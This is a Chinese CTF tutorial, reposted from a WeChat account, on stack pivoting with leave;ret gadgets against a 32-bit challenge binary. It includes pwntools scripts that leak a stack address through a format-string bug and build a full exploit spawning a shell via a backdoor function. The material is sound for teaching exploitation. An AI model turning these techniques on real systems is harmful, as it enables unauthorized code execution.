web选手入门pwn(13) ——栈迁移

admin 2024年5月31日13:17:09评论8 views字数 2442阅读8分8秒阅读模式

8.    pwn02

web选手入门pwn(13) ——栈迁移

存在后门函数和/bin/sh字符串,很明显的栈溢出漏洞。gdb调试的时候发现溢出字节数不够。0x1b4-0x198刚好0x1c,只能覆盖ret和ret后的一个地址,也就是8字节。

web选手入门pwn(13) ——栈迁移

因此这题为标准栈迁移的利用。在栈溢出中,为了完成这样的构造,需要溢出至少12个字节(32位)。

——低位——system()exit()/bin/sh0——高位——

但有些时候只有8个字节,这个时候就需要栈迁移。
栈迁移的关键在于利用leave;ret指令,这个指令非常常见,任何一个函数的结尾基本都可以找到它。那么leave是什么呢,leave=mov esp ebp;pop ebp。就是将ebp复制给esp,然后将栈顶的内容弹入ebp。栈顶的内容是什么呢?就是ebp内容。
其实就是ebp = ebp内容,esp = ebp(实际上因为过了一行汇编,所以是ebp+4)。
看gdb中正常的一次leave。
leave前

web选手入门pwn(13) ——栈迁移

leave后

web选手入门pwn(13) ——栈迁移

如何利用leave;ret完成栈迁移呢,很简单,就是在上面这次正常的leave;ret后再进行一次leave;ret,这个用栈溢出改写ret地址就能做到。除此之外,核心在于控制0xffffd1b8,大致过程如下。

EBP  0xffffd1a8 —▸ 0xffffd1b8 ◂— addrESP  0xffffd190#第一次leaveEBP  0xffffd1b8 ◂— addrESP  0xffffd1ac#第一次ret 也就是jmp  0x804855f 此时用溢出可控制到leave_ret_addrEBP  0xffffd1b8 ◂— addrESP  0xffffd1b0#第二次leaveEBP  system_stackESP  0xffffd1bc

可以发现,通过两次leave,ESP迁移到了0xffffd1b8+0x4附近。这样再ret的时候,就可以ret到本来是padding的地方。

那么0xffffd1b8具体是什么呢?可以用规律字符串确定。

from pwn import *#p = process('./pwn02')p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dpayload = "A"*4 + "B"*4 + "C"*4 + "D"*4 + "E"*4 + p32(leave_ret_addr) p.sendlineafter('input:',payload)p.interactive()

web选手入门pwn(13) ——栈迁移

也就是说,我们将EEEE改成栈上的地址,就可以完成栈迁移。不过栈地址是随机的呀,怎么办呢?
刚好这个题目存在第二个漏洞,格式化字符串。

web选手入门pwn(13) ——栈迁移

因此轻松捕获栈地址,顺便再跳到main上重新来一次。

from pwn import *context(log_level='debug')p = process('./pwn02')#p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dmain_addr = 0x804853Fpayload1 = "%p" + "A"*18 + p32(main_addr)p.sendlineafter('input:',payload1)stack_addr_str = p.recvuntil('AAAA')[0:11]print(stack_addr_str)p.interactive()

这个栈地址离EEEE有多远呢?其实就是AAAA到EEEE的距离,也就是16个字节。
那么替换掉EEEE,查看栈结构。

from pwn import *context(log_level='debug')#p = process('./pwn02')p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dmain_addr = 0x804853Fpayload1 = "%p" + "A"*18 + p32(main_addr)p.sendlineafter('input:',payload1)stack_addr_str = p.recvuntil('AAAA')[0:11]print(stack_addr_str)stack_addr = int(stack_addr_str,16)payload2 = "A"*4 + "B"*4 + "C"*4 + "D"*4 + p32(stack_addr-16) + p32(leave_ret_addr) p.sendlineafter('input:',payload2)p.interactive()

web选手入门pwn(13) ——栈迁移

非常完美,那么c一下看会ret到什么地方。

web选手入门pwn(13) ——栈迁移

那么加上后门函数和/bin/sh,完整exp就出来了。

from pwn import *#context(log_level='debug')p = process('./pwn02')#p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dmain_addr = 0x804853Fbackdoor = 0x80484B6bin_sh_addr = 0x804A028payload1 = "%p" + "A"*18 + p32(main_addr)p.sendlineafter('input:',payload1)stack_addr_str = p.recvuntil('AAAA')[0:11]print(stack_addr_str)stack_addr = int(stack_addr_str,16)payload2 = "A"*4 + p32(backdoor) + "C"*4 + p32(bin_sh_addr) + p32(stack_addr-16) + p32(leave_ret_addr) p.sendlineafter('input:',payload2)p.interactive()

web选手入门pwn(13) ——栈迁移

原文始发于微信公众号(珂技知识分享):web选手入门pwn(13) ——栈迁移

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月31日13:17:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web选手入门pwn(13) ——栈迁移http://cn-sec.com/archives/2799345.html

发表评论

匿名网友 填写信息